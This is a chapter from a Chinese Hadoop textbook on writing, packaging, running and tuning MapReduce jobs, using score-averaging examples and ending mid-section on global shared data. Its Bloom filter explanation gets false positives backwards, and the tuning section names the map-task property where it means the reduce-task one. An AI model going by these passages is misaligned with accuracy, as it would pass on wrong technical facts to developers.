开发MapReduce应用程序\n本章内容\n系统参数的配置\n配置开发环境\n编写MapReduce程序\n本地测试\n运行MapReduce程序\n网络用户界面\n性能调优\nMapReduce工作流\n本章小结\n在前面的章节中，已经介绍了MapReduce模型。在本章中，将介绍如何在Hadoop中开发MapReduce的应用程序。在编写MapReduce程序之前，需要安装和配置开发环境，因此，首先要学习如何进行配置。\n4.1 系统参数的配置\n1.通过API对相关组件的参数进行配置\nHadoop有很多自己的组件（例如Hbase和Chukwa等），每一种组件都可以实现不同的功能，并起着不同的作用，通过多种组件的配合使用，Hadoop就能够实现非常强大的功能。这些可以通过Hadoop的API对相关参数进行配置来实现。\n先简单地介绍一下API\n[1]\n ，它被分成了以下几个部分（也就是几个不同的包）。\norg. apache.hadoop.conf：定义了系统参数的配置文件处理API；\norg. apache.hadoop.fs：定义了抽象的文件系统API；\norg. apache.hadoop.dfs：Hadoop分布式文件系统（HDFS）模块的实现；\norg. apache.hadoop.mapred：Hadoop分布式计算系统（MapReduce）模块的实现，包括任务的分发调度等；\norg. apache.hadoop.ipc：用在网络服务端和客户端的工具，封装了网络异步I/O的基础模块；\norg. apache.hadoop.io：定义了通用的I/O API，用于针对网络、数据库、文件等数据对象进行读写操作等。\n在此我们需要用到org.apache.hadoop.conf，用它来定义系统参数的配置。Configurations类由源来设置，每个源包含以XML形式出现的一系列属性/值对。每个源以一个字符串或一个路径来命名。如果是以字符串命名，则通过类路径检查该字符串代表的路径是否存在；如果是以路径命名的，则直接通过本地文件系统进行检查，而不用类路径。\n下面举一个配置文件的例子。\nconfiguration-default. xml\n＜?xml version=\"1.0\"?＞\n＜configuration＞\n＜property＞\n＜name＞hadoop.tmp.dir＜/name＞\n＜value＞/tmp/hadoop-${usr.name}＜/value＞\n＜description＞A base for other temporary directories.＜/description＞\n＜/property＞\n＜property＞\n＜name＞io.file.buffer.size＜/name＞\n＜value＞4096＜/value＞\n＜description＞the size of buffer for use in sequence file.＜/description＞\n＜/property＞\n＜property＞\n＜name＞height＜/name＞\n＜value＞tall＜/value＞\n＜final＞true＜/final＞\n＜/property＞\n＜/configuration＞\n这个文件中的信息可以通过以下的方式进行抽取：\nConfiguration conf=new Configuration（）；\nConf.addResource（\"configuration-default.xml\"）；\naasertThat（conf.get（\"hadoop.tmp.dir\"），is（\"/tmp/hadoop-${usr.name}\"））；\nassertThat（conf.get（\"io.file.buffer.size\"），is（\"4096\"））；\nassertThat（conf.get（\"height\"），is（\"tall\"））；\n2.多个配置文件的整合\n假设还有另外一个配置文件configuration-site.xml，其中具体代码细节如下：\nconfiguration-site. xml\n＜?xml version=\"1.0\"?＞\n＜configuration＞\n＜property＞\n＜name＞io.file.buffer.size＜/name＞\n＜value＞5000＜/value＞\n＜description＞the size of buffer for use in sequence file.＜/description＞\n＜/property＞\n＜property＞\n＜name＞height＜/name＞\n＜value＞short＜/value＞\n＜final＞true＜/final＞\n＜/property＞\n＜/configuration＞\n使用两个资源configuation-default.xml和configuration-site.xml来定义配置。将资源按顺序添加到Configuration之中，代码如下：\nConfiguration conf=new Configuration（）；\nconf.addResource（\"configuration-default.xml\"）；\nconf.addResource（\"|configuration-site.xml\"）；\n现在不同资源中有了相同属性，但是这些属性的取值却不一样。这时这些属性的取值应该如何确定呢？可以遵循这样一个原则：后添加进来的属性取值覆盖掉前面所添加资源中的属性取值。因此，此处的属性io.file.buffer.size取值应该是5000而不是先前的4096，即：\nassertThat（conf.get（\"io.file.buffer.size\"），is（\"5000\"））；\n但是，有一个特例，被标记为final的属性不能被后面定义的属性覆盖。Configuration-default.xml中的属性height被标记为final，因此在configuration-site.xml中重写height并不会成功，它依然会从configuration-default.xml中取值：\nassertThat（conf.get（\"height\"），is（\"tall\"））；\n重写标记为final的属性通常会报告配置错误，同时会有警告信息被记录下来以便为诊断所用。管理员将守护进程地址文件之中的属性标记为final，可防止用户在客户端配置文件中或作业提交参数中改变其取值。\nHadoop默认使用两个源进行配置，并按顺序加载core-default.xml和core-site.xml。在实际应用中可能会添加其他的源，应按照它们添加的顺序进行加载。其中core-default.xml用于定义系统默认的属性，core-site.xml用于定义在特定的地方重写。\n[1]\n 可以参考http：//hadoop.apache.org/common/docs/current/api。\n4.2 配置开发环境\n首先下载准备使用的Hadoop版本，然后将其解压到用于开发的主机上（详细过程见附录B）。接下来，在集成开发环境中创建一个新的工程，然后将解压后的文件夹根目录下的JAR文件和lib目录之下的JAR文件加入到classpath中。之后就可以编译Hadoop程序，并且可以在集成开发环境中以本地模式运行。\nHadoop有三种不同的运行方式：单机模式、伪分布模式、完全分布模式。三种不同的运行方式各有各的好处与不足之处：单机模式的安装与配置比较简单，运行在本地文件系统上，便于程序的调试，可及时查看程序运行的效果，但是当数据量比较大时运行的速度会比较慢，并且没有体现出Hadoop分布式的优点；伪分布模式同样是在本地文件系统上运行，与单机模式的不同之处在于它运行的文件系统为HDFS，这种模式的好处是能够模仿完全分布模式，看到一些分布式处理的效果；完全分布模式则运行在多台机器的HDFS之上，完完全全地体现出了分布式的优点，但是在调试程序方面会比较麻烦。\n在实际运用中，可以结合这三种不同模式的优点，比如，编写和调试程序在单机模式和伪分布模式上进行，而实际处理大数据则在完全分布模式下进行。这样就会涉及三种不同模式的配置与管理，相关配置和管理会在相应的章节重点讲解。\n4.3 编写MapReduce程序\n下面将通过一个计算学生平均成绩的例子来讲解开发MapReduce程序的流程。程序主要包括两部分内容：Map部分和Reduce部分，分别实现Map和Reduce的功能。\n 4.3.1 Map处理\nMap处理的是一个纯文本文件，此文件中存放的数据是每一行表示一个学生的姓名和他相应的一科成绩，如果有多门学科，则每个学生就存在多行数据。代码如下所示：\npublic static class Map\nextends Mapper＜LongWritable, Text, Text, IntWritable＞{\npublic void map（LongWritable key, Text value, Context context）\nthrows IOException, InterruptedException{\nString line=value.toString（）；//将输入的纯文本文件的数据转化成String\nSystem.out.println（line）；//为了便于程序的调试，输出读入的内容\n//将输入的数据先按行进行分割\nStringTokenizer tokenizerArticle=new StringTokenizer（line，\"\\n\"）；\n//分别对每一行进行处理\nwhile（tokenizerArticle.hasMoreTokens（））{\n//每行按空格划分\nStringTokenizer tokenizerLine=new StringTokenizer（tokenizerArticle.nextToken（））；\nString strName=tokenizerLine.nextToken（）；//学生姓名部分\nString strScore=tokenizerLine.nextToken（）；//成绩部分\nText name=new Text（strName）；//学生姓名\nint scoreInt=Integer.parseInt（strScore）；//学生成绩score of student\ncontext.write（name, new IntWritable（scoreInt））；//输出姓名和成绩\n}\n}\n}\n通过数据集进行测试，结果显示完全可以将文件中的姓名和他相应的成绩提取出来。需要解释的是：Mapper处理的数据是由InputFormat分解过的数据集，其中InputFormat的作用是将数据集切割成小数据集InputSplit，每一个InputSplit将由一个Mapper负责处理。此外，InputFormat中还提供了一个RecordReader的实现，并将一个InputSplit解析成＜key, value＞对提供给Map函数。InputFormat的默认值是TextInputFormat，它针对文本文件，按行将文本切割成InputSplit，并用LineRecordReader将InputSplit解析成＜key, value＞对，key是行在文本中的位置，value是文件中的一行。\n本程序中的InputFormat使用的是默认值TextInputFormat，因此结合上述程序的注释部分不难理解整个程序的处理流程和正确性。\n4.3.2 Reduce处理\nMap处理的结果会通过partition分发到Reducer, Reducer做完Reduce操作后，将通过OutputFormat输出结果，代码如下：\npublic static class Reduce\nextends Reducer＜Text, IntWritable, Text, IntWritable＞{\npublic void reduce（Text key, Iterable＜IntWritable＞values，\nContext context）throws IOException, InterruptedException{\nint sum=0；\nint count=0；\nIterator＜IntWritable＞iterator=values.iterator（）；\nwhile（iterator.hasNext（））{\nsum+=iterator.next（）.get（）；//计算总分\ncount++；//统计总的科目数\n}\nint average=（int）sum/count；//计算平均成绩\ncontext.write（key, new IntWritable（average））；\n}\n}\nMapper最终处理的结果＜key, value＞对会被送到Reducer中进行合并，在合并的时候，有相同key的键/值对会被送到同一个Reducer上。Reducer是所有用户定制Reducer类的基类，它的输入是key及这个key对应的所有value的一个迭代器，还有Reducer的上下文。Reduce处理的结果将通过Reducer.Context的write方法输出到文件中。\n4.4 本地测试\nScore_Process类继承于Configured的实现接口Tool，上述的Map和Reduce是Score_Process的内部类，它们分别实现了Map和Reduce功能，主函数存在于Score_Process中。下面创建一个Score_Process实例对程序进行测试。\nScore_process的run（）方法的实现如下：\npublic int run（String[]args）throws Exception{\nJob job=new Job（getConf（））；\njob.setJarByClass（Score_Process.class）；\njob.setJobName（\"Score_Process\"）；\njob.setOutputKeyClass（Text.class）；\njob.setOutputValueClass（IntWritable.class）；\njob.setMapperClass（Map.class）；\njob.setCombinerClass（Reduce.class）；\njob.setReducerClass（Reduce.class）；\njob.setInputFormatClass（TextInputFormat.class）；\njob.setOutputFormatClass（TextOutputFormat.class）；\nFileInputFormat.setInputPaths（job, new Path（args[0]））；\nFileOutputFormat.setOutputPath（job, new Path（args[1]））；\nboolean success=job.waitForCompletion（true）；\nreturn success?0：1；\n}\n下面给出main（）函数，对程序进行测试：\npublic static void main（String[]args）throws Exception{\nint ret=ToolRunner.run（new Score_Process（），args）；\nSystem.exit（ret）；\n}\n如果程序要在Eclipse中执行，那么用户需要在run congfiguration中设置好参数，输入的文件夹名为input，输出的文件夹名为output。\n4.5 运行MapReduce程序\n想要测试人体的健康状况，要先知道人体各个组织的健康状况，然后再综合评价人体的健康状况。假设每个组织的健康指标是一个0～100之间的数字，得到综合身体健康状况的方法是计算所有组织健康指标的平均数。由于测试的人数众多，因此存储数据的格式为：姓名+得分+#（代表一个人单个人体组织的健康状况），每个组织的健康状况分别用一个文件存储。现在一共有1000个组织参与了评估，即用1000个文件分别存储。\n由于此例中对数据的处理与前面对学生成绩进行的简单处理有一些区别，下面先将程序的主要部分列举出来。\nMapper部分的代码如下：\npublic static class Map\nextends Mapper＜LongWritable, Text, Text, IntWritable＞{\npublic void map（LongWritable key, Text value, Context context）\nthrows IOException, InterruptedException{\nString line=value.toString（）；\n//以“#”为分隔符，将输入的文件分割成单个记录\nStringTokenizer tokenizerArticle=new StringTokenizer（line，\"#\"）；\n//对每个记录进行处理\nwhile（tokenizerArticle.hasMoreTokens（））{\n//将每个记录分成姓名和分数两个部分\nStringTokenizer tokenizerLine=new StringTokenizer（tokenizerArticle.nextToken（））；\nwhile（tokenizerLine.hasMoreTokens（））{\nString strName=tokenizerLine.nextToken（）；\nif（tokenizerLine.hasMoreTokens（））{\nString strScore=tokenizerLine.nextToken（）；\nText name=new Text（strName）；//姓名\nint scoreInt=Integer.parseInt（strScore）；//该组织的状况得分\ncontext.write（name, new IntWritable（scoreInt））；\n}\n}\n}\n}\n上述程序比较简单，和单节点上的代码也很相似，配合注释就能够很好地理解，因此就不再多讲解了。\n下面是Reducer部分的代码：\npublic static class Reduce\nextends Reducer＜Text, IntWritable, Text, IntWritable＞{\npublic void reduce（Text key, Iterable＜IntWritable＞values，\nContext context）throws IOException, InterruptedException{\nint sum=0；\nint count=0；\nIterator＜IntWritable＞iterator=values.iterator（）；\nwhile（iterator.hasNext（））{\nsum+=iterator.next（）.get（）；\ncount++；\n}\nint average=（int）sum/count；\ncontext.write（key, new IntWritable（average））；\n}\n}\n 4.5.1 打包\n为了能够在命令行中运行程序，首先需要对它进行编译和打包，下面就分别展示编译和打包的过程。\n编译代码如下：\nJavac-classpath/usr/local/hadoop/hadoop-1.0.1/hadoop-core-1.0.1.jar-d\nScoreProcessFinal_classes ScoreProcessFinal.java\n上述命令会将ScoreProcessFinal.java编译后的所有class文件放到ScoreProcessFinal_classes文件夹下。执行下面的命令打包所有的class文件：\njar-cvf/usr/local/hadoop/hadoop-1.0.1/bin/ScoreProcessFinal.jar-C ScoreProcessFinal_classes/.\n标明清单（manifest）\n增加：ScoreProcessFinal$Map.class（读入=1899）（写出=806）（压缩了57%）\n增加：ScoreProcessFinal$Reduce.class（读入=1671）（写出=707）（压缩了57%）\n增加：ScoreProcessFinal.class（读入=2374）（写出=1183）（压缩了50%）\n4.5.2 在本地模式下运行\n使用下面的命令以本地模式运行打包后的程序：\nhadoop jar ScoreProcessFinal.jar inputOfScoreProcessFinal outputOfScoreProcessFinal\n上面的命令以inputOfScoreProcessFinal为输入路径，同时以outputOfScoreProcessFinal为输出路径。\n到此，我们已经将编译打包和在本地模式下运行的情况讲解完了。\n4.5.3 在集群上运行\n接下来讲解程序如何在集群上运行。在笔者的实验环境中，一共有4台机器，其中一台同时担当JobTracker和NameNode的角色，但不担当TaskTracker和DataNode的角色，另外3台机器则同时担当Tasktracker和DataNode的角色。\n首先，将输入的文件复制到HDFS中，用以下命令完成该功能：\nhadoop dfs-copyFromLocal/home/u/Desktop/inputOfScoreProcessFinal inputOfScoreProcessFinal\n下面，在命令行中运行程序：\n～/hadoop-0.20.2/bin$hadoop jar/home/u/TG/ScoreProcessFinal.jar\nScoreProcessFinal inputOfScoreProcessFinal outputOfScoreProcessFinal\n执行上述命令运行ScoreProcessFinal.jar中的ScoreProcessFinal类，并且将inputOf-ScoreProcessFinal作为输入，outputOfScoreProcessFinal作为输出。\n4.6 网络用户界面\nHadoop自带的网络用户界面在查看工作的信息时很方便（在http：//jobtracker-host：50030/中能找到用户界面）。在Job运行时，它对于跟踪Job工作进程很有用，同样在工作完成后查看工作统计和日志时也会很有用。\n 4.6.1 JobTracker页面\nJobTracker页面主要包括五部分。\n第一部分是Hadoop安装的详细信息，比如版本号、编译完成时间、JobTracker当前的运行状态和开始时间。\n第二部分是集群的一个总结信息：集群容量（用集群上可用的Map和Reduce任务槽的数量表示）及使用情况、集群上运行的Map和Reduce的数量、提交的工作总量、当前可用的TaskTracker节点数和每个节点平均可用槽的数量。\n第三部分是一个正在运行的工作日程表。打开能看到工作的序列。\n第四部分显示的是正在运行、完成、失败的工作，这些显示信息通过表格来体现。表中每一行代表一个工作并且显示了工作的ID号、所属者、名字和进程信息。\n最后一部分是页面的最下面JobTracker日志的链接和JobTracker的历史信息：JobTracker运行的所有工作信息。在将这些信息提交到历史页面之前，主要显示100个工作（可以通过mapred.job.name进行配置）。注意，历史记录是永久保存的，因此可以从JobTracker以前运行的工作中找到相关的记录。\n4.6.2 工作页面\n点击一个工作的ID将看到它的工作页面。在工作页面的顶部是一个关于工作的一些总结性基本信息，比如工作所属者、名字、工作文件和工作已经执行了多长时间等。工作文件是工作的加强配置文件，包含在工作运行期间所有有效的属性及它们的取值。如果不确定某个属性的取值，可以点击进一步查看文件。\n当工作运行时，可以在页面上监控它的进展情况，因为页面会周期性更新。在总结信息的下面是一张表，它显示了Map和Reduce的进展情况。“任务栏”显示了该工作的Map和Reduce任务的总数（Map和Reduce各占一行）。其他列显示了这些任务的状态：“暂停”（等待执行）、“正在执行”、“完成”（运行成功）、“终止”（准确地说应该称为“失败”），最后一列显示了失败或终止的任务所尝试的总数。\n图4-1显示工作页面最下面的内容。\n图4-1是每个任务完成情况的一个图形化表示。Reduce完成图分为3个阶段：复制（发生在将Map输出转交给Reduce的TaskTracker时）、排序（发生在Reduce输入合并时）和Reduce（发生在Reduce函数起作用并产生最终输出时）。\n图 4-1 每个Map和Reduce任务的执行进度\n4.6.3 返回结果\n执行完任务后，可以通过以下几种方式得到结果。\n1）通过命令行直接显示输出文件夹中的文件。\n命令行如下：\nhadoop dfs-ls outputOfScoreProcessFinal\n通过以上命令的执行结果可以发现，输出的结果中一共有6个文件，分别是part-r-00000到part-r-00005。还可以具体显示每个文件中的内容，例如要显示part-r-00000中的内容，命令如下：\nhadoop dfs-cat outputOfScoreProcessFinal/part-r-00000\n2）将输出的文件从HDFS复制到本地文件系统上，在本地文件系统上查看。\n命令如下：\nhadoop dfs-get outputOfScoreProcessFinal/*/home/u/outputOfScoreProcessFinal\n上述命令的主要功能是将HDFS中目录outputOfScoreProcessFinal下的所有文件复制到本地文件系统的目录/home/u/outputOfScoreProcessFinal下，然后就可以方便地进行查看了。\n另外还可以在命令行中将输出文件part-r-00000到part-r-00005合并成一个文件，并复制到本地文件系统中。下面就是在命令行中进行的操作：\nhadoop dfs-getmerge outputOfScoreProcessFinal/home/u/outputScore\n上述命令的功能就是，将HDFS中目录outputOfScoreProcessFinal下的所有文件（即part-r-00000到part-r-00005）进行合并，然后复制到本地文件系统中的目录/home/u/outputScore下。\n3）通过Web界面查看输出的结果。\n通过浏览器访问集群的NameNode界面，点击页面上的“Browse the filesystem”即可看到HDFS中的内容，依次点击home、u、outputOfScoreProcessFinal，就可以看到程序的输出文件，再点击各个具体的输出文件可以查看输出内容。\n4.6.4 任务页面\n工作页面中的一些链接可以用来查看该工作中任务的详细信息。例如，点击“Map”链接，将看到一个页面，所有的Map任务信息都列在这一页上。当然，也可以只看已经完成的任务。任务页面显示信息以表格形式来体现，表中的每一行都表示一个任务，它包含了诸如开始时间、结束时间之类的信息，以及由TaskTracker提供的错误信息和查看单个任务的计数器的链接。同样，点击“Reduce”链接也可以看到一个页面，所有的Reduce任务信息都列在这一页上。同样可以只看已经完成的任务。显示的信息内容与Map界面的相同。\n4.6.5 任务细节页面\n在任务页面上可以点击任何任务来得到关于它的详细信息。图4-2的任务细节页面显示了每个任务的尝试情况。在这里，只有一个任务尝试并且成功完成。图中包含的表格提供了更多的有用数据，比如任务尝试是在哪个节点上运行的，同时还可以查看任务日志文件和计数器的链接。这个表中还包含“Actions”列，可终止一个任务尝试的链接。默认情况下，这项功能是没有启用的，网络用户界面只是一个只读接口。将webinterface.private.actions设为true即可启用这项功能。\n对于Map任务，有一个部分（即图4-2中的“Input Split Location”区域）信息显示了输入的片段被分配到了哪个节点上。\n图 4-2 任务尝试页面\n4.7 性能调优\n一个程序可以完成基本功能其实还不够，还有一些具有实际意义的问题需要解决，比如性能是不是足够好、有没有提高的空间等。具体来讲包括两个方面的内容：一个是时间性能；另一个是空间性能。衡量性能的指标就是，能够在正确完成功能的基础上，使执行的时间尽量短，占用的空间尽量小。\n前面只是实现了程序基本应该实现的功能，对性能问题并没有加以考虑。下面就从不同的角度来简单地介绍一下提高性能的方法。\n 4.7.1 输入采用大文件\n在前面的例子当中，笔者的实验数据包含1000个文件，在HDFS中共占用了1000个文件块，而每一个文件的大小都是2.3MB，相对于HDFS块的默认大小64MB来说算是比较小的了。如果MapReduce在处理数据时，Map阶段输入的文件较小而数量众多，就会产生很多的Map任务，以前面的输入为例，一共产生了1000个Map任务。每次新的Map任务操作都会造成一定的性能损失。针对上述2.2GB大小的数据，在实验环境中运行的时间大概为33分钟。\n为了尽量使用大文件的数据，笔者对这1000个文件进行了一次预处理，也就是将这些数量众多的小文件合并成大一些的文件，最终将它们合并成了一个大小为2.2GB的大文件。然后再以这个大文件作为输入，在同样的环境中进行测试，运行的时间大概为4分钟。\n从实验结果可以很明显地看出二者在执行时间上的差别非常大。因此为了提高性能，应该对小文件做一些合理的预处理，变小为大，从而缩短执行的时间。不仅如此，合并前的众多文件在HDFS中占用了1000个块，而合并后的文件在HDFS中只占用36个块（64MB为一块），占用空间也相应地变小了，可谓一举两得。\n另外，如果不对小文件做合并的预处理，也可以借用Hadoop中的CombineFileInputFormat。它可以将多个文件打包到一个输入单元中，从而每次执行Map操作就会处理更多的数据。同时，CombineFileInputFormat会考虑节点和集群的位置信息，以决定哪些文件被打包到一个单元之中，所以使用CombineFileInputFormat也会使性能得到相应地提高。\n4.7.2 压缩文件\n在分布式系统中，不同节点的数据交换是影响整体性能的一个重要因素。另外在Hadoop的Map阶段所处理的输出大小也会影响整个MapReduce程序的执行时间。这是因为Map阶段的输出首先存储在一定大小的内存缓冲区中，如果Map输出的大小超出一定限度，Map task就会将结果写入磁盘，等Map任务结束后再将它们复制到Reduce任务的节点上。如果数据量大，中间的数据交换会占用很多的时间。\n一个提高性能的方法是对Map的输出进行压缩。这样会带来以下几个方面的好处：减少存储文件的空间；加快数据在网络上（不同节点间）的传输速度，以及减少数据在内存和磁盘间交换的时间。可以通过将mapred.compress.map.output属性设置为true来对Map的输出数据进行压缩，同时还可以设置Map输出数据的压缩格式，通过设置mapred.map.output.compression.codec属性即可进行压缩格式的设置。\n4.7.3 过滤数据\n数据过滤主要指在面对海量输入数据作业时，在作业执行之前先将数据中无用数据、噪声数据和异常数据清除。通过数据过滤可以降低数据处理的规模，较大程度地提高数据处理效率，同时避免异常数据或不规范数据对最终结果造成负面影响。\n在数据处理的时候如何进行数据过滤呢？在MapReduce中可以根据过滤条件利用很多办法完成数据预处理中的数据过滤，比如编写预处理程序，在程序中加上过滤条件，形成真正的处理数据；也可以在数据处理任务的最开始代码处加上过滤条件；还可以使用特殊的过滤器数据结果来完成过滤。下面笔者以一种在并行程序中功能强大的过滤器结构为例来介绍如何在MapReduce中对海量数据进行过滤。\nBloom Filter是在1970年由Howard Bloom提出的二进制向量数据结构。在保存所有集合元素特征的同时，它能在保证高效空间效率和一定出错率的前提下迅速检测一个元素是不是集合中的成员。Bloom Filter的误报（false positive）只会发生在检测集合内的数据上，而不会对集合外的数据产生漏报（false negative）。这样每个检测请求返回有“在集合内（可能错误）”和“不在集合内（绝对不在集合内）”两种情况，可见Bloom Filter牺牲了极少正确率换取时间和空间，所以它不适合那些“零错误”的应用场合。在MapReduce中，Bloom Filter由Bloom Filter类（此类继承了Filter类，Filter类实现了Writable序列化接口）实现，使用add（Key key）函数将一个key值加入Filter，使用membershipTest（Key key）来测试某个key是否在Filter内。\n以上说明了Bloom Filter的大概思想，那么在实践中如何使用Bloom Filter呢？假设有两个表需要进行内连接，其中一个表非常大，另一个表非常小，这时为了加快处理速度和减小网络带宽，可以基于小表创建连接列上的Bloom Filter。具体做法是先创建Bloom Filter对象，将小表中所有连接列上的值都保存到Bloom Filter中，然后开始通过MapReduce作业执行内连接。在连接的Map阶段，读小表的数据时直接输出以连接列值为key、以数据为value的＜key, value＞对；读大表数据时，在输出前先判断当前元组的连接列值是否在Bloom Filter内，如果不存在就说明在后面的连接阶段不会使用到，不需要输出，如果存在就采用与小表同样的输出方式输出。最后在Reduce阶段，针对每个连接列值连接两个表的元组并输出结果。\n大家已经知道了Bloom Filter的作用和使用方法，那么Bloom Filter具体是如何实现的呢？又是如何保证空间和时间的高效性呢？如何用正确率换取时间和空间的呢？（基于MapReduce中实现的BloomFilter代码进行分析）Bloom Filter自始至终是一个M位的位数组：\nprivate static final byte[]bitvalues=new byte[]{\n（byte）0x01，\n（byte）0x02，\n（byte）0x04，\n（byte）0x08，\n（byte）0x10，\n（byte）0x20，\n（byte）0x40，\n（byte）0x80\n}；\n它有两个重要接口，分别是add（）和membershipTest（），add（）负责保存集合元素的特征到位数组（类似于一个学习的过程），在保存所有集合元素特征之后可以使用membershipTest（）来判断某个值是否是集合中的元素。\n在初始状态下，Bloom Filter的所有位都被初始化为0。为了表示集合中的所有元素，Bloom Fliter使用k个互相独立的Hash函数，它们分别将集合中的每个元素映射到（1，2，……，M）这个范围上，映射的位置作为此元素特征值的一维，并将位数组中此位置的值设置为1，最终得到的k个Hash函数值将形成集合元素的特征值向量，同时此向量也被保存在位数组中。从获取k个Hash函数值到修改对应位数组值，这就是add接口所完成的任务。\npublic void add（Key key）{\nif（key==null）{\nthrow new NullPointerException（\"key cannot be null\"）；\n}\nint[]h=hash.hash（key）；\nhash.clear（）；\nfor（int i=0；i＜nbHash；i++）{\nbits.set（h[i]）；\n}\n}\n利用add接口将所有集合元素的特征值向量保存到Bloom Filter之后，就可以使用此过滤器也就是membershipTest接口来判断某个值是否是集合元素。在判断时，首先还是计算待判断值的特征值向量，也就是k个Hash函数值，然后判断特征值向量每一维对应的位数组位置上的值是否是1，如果全部是1，那么membershipTest返回true，否则返回false，这就是判断值是否存在于集合中的原理。\npublic boolean membershipTest（Key key）{\nif（key==null）{\nthrow new NullPointerException（\"key cannot be null\"）；\n}\nint[]h=hash.hash（key）；\nhash.clear（）；\nfor（int i=0；i＜nbHash；i++）{\nif（！bits.get（h[i]））{\nreturn false；\n}\n}\nreturn true；\n}\n从上面add接口和membershipTest接口实现的原理可以看出，正是Hash函数冲突的可能性导致误判的可能。由于Hash函数冲突，两个值的特征值向量也有可能冲突（k个Hash函数全部冲突）。如果两个值中只有一个是集合元素，那么该值的特征值向量会保存在位数组中，从而在判断另外一个非集合元素的值时，会发现该值的特征值向量已经保存在位数组中，最终返回true，形成误判。那么都有哪些因素影响了错误率呢？通过上面的分析可以看出，Hash函数的个数和位数组的大小影响了错误率。位数组越大，特征值向量冲突的可能性越小，错误率也小。在位数组大小一定的情况下，Hash函数个数越多，形成的特征值向量维数越多，冲突的可能性越小；但是维数越多，占用的位数组位置越多，又提高了冲突的可能性。所以在实际应用中，在使用Bloom Filter时应根据实际需要和一定的估计来确定合适的数组规模和哈希函数规模。\n通过上面的介绍和分析可以发现，在Bloom Filter中插入元素和查询值都是O（1）的操作；同时它并不保存元素而是采用位数组保存特征值，并且每一位都可以重复利用。所以同集合、链表和树等传统方法相比，Bloom Filter无疑在时间和空间性能上都极为优秀。但错误率限制了Bloom Filter的使用场景，只允许误报（false positive）的场景；同时由于一位多用，因此Bloom Filter并不支持删除集合元素，在删除某个元素时可能会同时删除另外一个元素的部分特征值。图4-3是一个简单的例子，既说明了Bloom Filter的实现过程，又说明了错误发生的原因（步骤⑤判断的值是包含在集合中的，但是返回值为true）。\n图 4-3 Bloom Filter实现过程图\n4.7.4 修改作业属性\n属性mapred.tasktracker.map.tasks.maximum的默认值是2，属性mapred.tasktracker.map.tasks.maximum的默认值也是2，因此每个节点上实际处于运行状态的Map和Reduce的任务数最多为2，而较为理想的数值应在10～100之间。因此，可以在conf目录下修改属性mapred.tasktracker.map.tasks.maximum和mapred.tasktracker.reduce.tasks.maximum的取值，将它们设置为一个较大的值，使得每个节点上同时运行的Map和Reduce任务数增加，从而缩短运行的时间，提高整体的性能。\n例如下面的修改：\n＜property＞\n＜name＞mapred.tasktracker.map.tasks.maximum＜/name＞\n＜value＞10＜/value＞\n＜description＞The maximum number of map tasks that will be run\nsimultaneously by a task tracker.\n＜/description＞\n＜/property＞\n＜property＞\n＜name＞mapred.tasktracker.reduce.tasks.maximum＜/name＞\n＜value＞10＜/value＞\n＜description＞The maximum number of reduce tasks that will be run\nsimultaneously by a task tracker.\n＜/description＞\n＜/property＞\n4.8 MapReduce工作流\n到目前为止，已经讲述了使用MapReduce编写程序的机制。不过还没有讨论如何将数据处理问题转化为MapReduce模型。\n数据处理只能解决一些非常简单的问题。如果处理过程变得复杂了，这种复杂性会通过更加复杂、完善的Map和Reduce函数，甚至更多的MapReduce工作来体现。下面简单介绍一些比较复杂的MapReduce编程知识。\n 4.8.1 复杂的Map和Reduce函数\n从前面Map和Reduce函数的代码很明显可以看出，Map和Reduce都继承自MapReduce自己定义好的Mapper和Reducer基类，MapReduce框架根据用户继承Mapper和Reducer后的衍生类和类中覆盖的核心函数来识别用户定义的Map处理阶段和Reduce处理阶段。所以只有用户继承这些类并且实现其中的核心函数，提交到MapReduce框架上的作业才能按照用户的意愿被解析出来并执行。前面介绍的MapReduce作业仅仅继承并覆盖了基类中的核心函数Map或Reduce，下面介绍基类中的其他函数，使大家能够编写功能更加复杂、控制更加完备的Map和Reduce函数。\n1.setup函数\n此函数在基类中的源码如下：\n/**\n*Called once at the start of the task.\n*/\nprotected void setup（Context context\n）throws IOException, InterruptedException{\n//NOTHING\n}\n从上面的注释可以看出，setup函数是在task启动开始就调用的。在这里先温习一下task的知识。在MapReduce中作业会被组织成Map task和Reduce task。每个task都以Map类或Reduce类为处理方法主体，输入分片为处理方法的输入，自己的分片处理完之后task也就销毁了。从这里可以看出，setup函数在task启动之后数据处理之前只调用一次，而覆盖的Map函数或Reduce函数会针对输入分片中的每个key调用一次。所以setup函数可以看做task上的一个全局处理，而不像在Map函数或Reduce函数中，处理只对当前输入分片中的正在处理数据产生作用。利用setup函数的特性，大家可以将Map或Reduce函数中的重复处理放置到setup函数中，可以将Map或Reduce函数处理过程中可能使用到的全局变量进行初始化，或从作业信息中获取全局变量，还可以监控task的启动。需要注意的是，调用setup函数只是对应task上的全局操作，而不是整个作业的全局操作。\n2.cleanup函数\ncleanup函数在基类中的源码如下：\n/**\n*Called once at the end of the task.\n*/\nprotected void cleanup（Context context\n）throws IOException, InterruptedException{\n//NOTHING\n}\n从这个函数的注释中可以看到，它跟setup函数相似，不同之处在于cleanup函数是在task销毁之前执行的。它的作用和setup也相似，区别仅在于它的启动处在task销毁之前，所以不再赘述cleanup的作用。大家应根据具体使用环境和这两个函数的特点，做出恰当的选择。\n3.run函数\nrun函数在基类中的源码如下：\n/**\n*Expert users can override this method for more complete control over the\n*execution of the Mapper.\n*@param context\n*@throws IOException\n*/\npublic void run（Context context）throws IOException, InterruptedException{\nsetup（context）；\nwhile（context.nextKeyValue（））{\nmap（context.getCurrentKey（），context.getCurrentValue（），context）；\n}\ncleanup（context）；\n}\n从上面函数的主体内容和代码的注释可以看出，此函数是Map类或Reduce类的启动方法：先调用setup函数，然后针对每个key调用一次Map函数或Reduce函数，最后销毁task之前再调用cleanup函数。这个run函数将Map阶段和Reduce阶段的代码过程呈现给了大家。正如注释中所说，如果想更加完备地控制Map或者Renduce阶段，可以覆盖此函数，并像普通的Java类中的函数一样添加自己的控制内容，比如增加自己的task启动之后和销毁之前的处理，或者在while循环内外再定义自己针对每个key的处理内容，甚至可以对Map和Reduce函数的处理结果进行进一步的处理。\n4.8.2 MapReduce Job中全局共享数据\n在编写MapReduce代码的时候，经常会遇到这样的困扰：全局变量应该如何保存？如何让每个处理都能获取保存的这些全局变量？在编程过程中全局变量的使用是不可避免的，但是在MapReduce中直接使用代码级别的全局变量是不现实的。这主要是因为继承Mapper基类的Map阶段类的运行和继承Reducer基类的Reduce阶段类的运行都是独立的，并不像代码看起来的那样会共享同一个Java虚拟机的资源。下面介绍几种在MapReduce编程中相对有效的设置全局共享数据的方法。\n1.读写HDFS文件\n在MapReduce框架中，Map task和Reduce 